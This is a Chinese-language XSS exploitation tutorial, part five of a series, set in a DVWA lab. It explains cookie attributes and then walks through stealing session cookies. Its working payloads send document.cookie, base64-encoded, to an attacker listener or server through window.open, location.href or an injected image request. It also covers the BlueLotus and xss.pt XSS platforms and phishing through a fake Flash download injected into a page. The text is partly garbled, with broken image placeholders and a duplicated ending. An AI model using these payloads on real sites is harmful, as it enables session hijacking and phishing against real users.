XSS漏洞利用(五)
声明!!!本教程仅限于网络安全学习,严禁用于非法途径。若学员因此作出任何危害网络安全行为后果自负,与本人无关。
一、什么是Cookie?
-
定义:
cookie是指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。
-
作用:
服务器可以设置或读取cookie中包含的信息,借此识别用户身份并维护用户跟服务器会话的状态。比如,当登录一个网站时,网站往往会请求用户输入用户名和密码,并且用户可以勾选“下次自动登录”。如果勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登录了。这正是因为前一次登录时,服务器发送了包含登录凭据(用户名加密码的某种加密形式)的cookie到用户的硬盘上。第二次登录时,如果该cookie尚未到期,浏览器会发送该cookie,服务器验证凭据,于是不必输入用户名和密码就让用户登录了。
二、Cookie的组成
Name=Value:
设置cookie的名称和值;对于认证Cookie,Value值包括Web服务器所提供的访问令牌。
Expires:
设置cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭浏览器时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效。詹
Path:
cookie所属路径,只有改路径及其下级目录才能够获取该cookie。
Domain:
指定了可以访问该Cookie 的Web 站点或域,只有这个域或者子域才能获取该cookie。
Secure:
设置Secure表示该cookie只可以使用HTTS协议传输。
HTTPOnly:
设置HTTPOnly表示cookie不能被javascript读取,用于防止客户端脚本通过document.cookie属性访问Cookie。
SameSite:
用于定义cookie如何跨域发送。
三、实验:获取Cookie
方法一:请求带出
-
在VPS上开启监听,向存在XSS漏洞的网站插入代码后,可以接收到目标的cookie(base64编码格式)。
-
VPS上开启监听:
nc -lvp 7777 //监听7777端口 -
xSS利用代码:
#浏览器新打开一个窗口,访问指定的ip和端口,并带上了cookie <script>window.open('http://ip:port/?q='+btoa(document.cookie));</script> #在当前窗口访问IP和端口 <script>location.href='http://ip:port/?q='+btoa(document.cookie);</script>
ip是本机ip,我们看?q后面的内容就是我们获取到的内容。由于方法一不隐蔽也不安全,会重新开一个页面,引起警惕,我们来介绍第二种方法。
方面二:访问指定网址并执行代码(DVWA反射型XSS为例)
在自己的服务器上建立恶意代码文件xss_gatcookie.js
var img = document.createElement( "img" );
img.src = "http:/ /192.168.48.132:888/?q="+btoa(document.cookie);
document.body.appendChild(img);
然后在漏洞点插入恶意代码:
<script src=http://192.168.48.132/xss_getcookie.js></script>
查看Web日志(默认路径/var/log/apache2/access.log),可以看到目标cookie
用From Base64 - CyberChef工具获得解密后的Cookie,可以绕过后台直接登录。
方法三:利用BLUE-LOTUS平台
BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台,可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。
蓝莲花的安装:
- 将下载好的BlueLotus放到phpstudy中的phptutorial下的www文件夹中
- 输入127.0.0.1/BlueLotus访问蓝莲花平台,点击安装,然后提交,输入默认密码,进入平台
-
这就是蓝莲花平台
-
按照以下步骤操作,复制生成的payload,到输入框
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FGQMHdzd-1671276010942)(C:\Users\cuizepeng\AppData\Roaming\Typora\typora-user-images\image-20221217183622772.png)]
-
然后我们在后台就获得到了dvwa靶场的cookie,我们可以利用它直接登录。
四、漏洞钓鱼
利用XSS漏洞,可以修改网站的链接,让用户访问伪装成正常网站的恶意网站。比如,可以利用flash钓鱼。将项目源码放到web网站里,修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload。
-
我们将flash下载好,放到放到phpstudy中的phptutorial下的www文件夹中。
-
然后在DVWA靶场中(反射型XSS,low级别)输入:
<script src=http://127.0.0.1/flash/flash.js>
就会出现一个弹窗,然后就会来到flah网站下载页面
所以不清楚的链接不要随便点击!!!
五、第三方XSS利用平台
-
临时邮箱:http://24mail.chacuo.net/
-
当我们需要填写邮箱验证,却又不想填写真实邮箱我们可以利用这个来生成一个临时邮箱
-
XSS平台:https://xss.pt/xss.php
-
我们利用第二步得到的邮箱在平台注册一个账号
今天我们就到这里啦~
v-1671276010944)]
-
XSS平台:https://xss.pt/xss.php
-
我们利用第二步得到的邮箱在平台注册一个账号
[外链图片转存中…(img-R4XCkz2x-1671276010945)]
今天我们就到这里啦~